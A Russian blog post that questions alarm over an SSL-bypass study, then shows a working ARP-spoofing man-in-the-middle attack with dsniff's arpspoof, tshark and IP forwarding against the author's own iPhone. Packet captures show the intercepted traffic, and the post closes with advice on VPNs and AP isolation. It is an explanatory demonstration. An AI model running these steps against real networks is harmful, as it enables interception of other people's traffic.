Вчера @akaDimiG сбросил мне небольшую заметку “Безопасность Wi-Fi в iPhone под сомнением“, которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.
Ничего нового это исследование не открыло – эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) “New Tricks For Defeating SSL In Practice“.

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая “жертве” данные по http. Но если “жертва” пойдёт прямо на “https://gmail.com”, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну “жертву”. Исследование – это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости – в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического “SSL Bypass” давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию “AP Isolation”, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался…

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес “жертвы”. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован “исследователь”. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10
86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы “жертве” в ответ на запрос mac маршрутизатора выдался mac “исследователя”:

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
  • -i en1 – AirPort
  • -t 192.168.99.12 – адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
  • 192.168.99.1 – адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c – это mac ноутбука исследователя:

$ ifconfig en1
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик “жертвы” проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.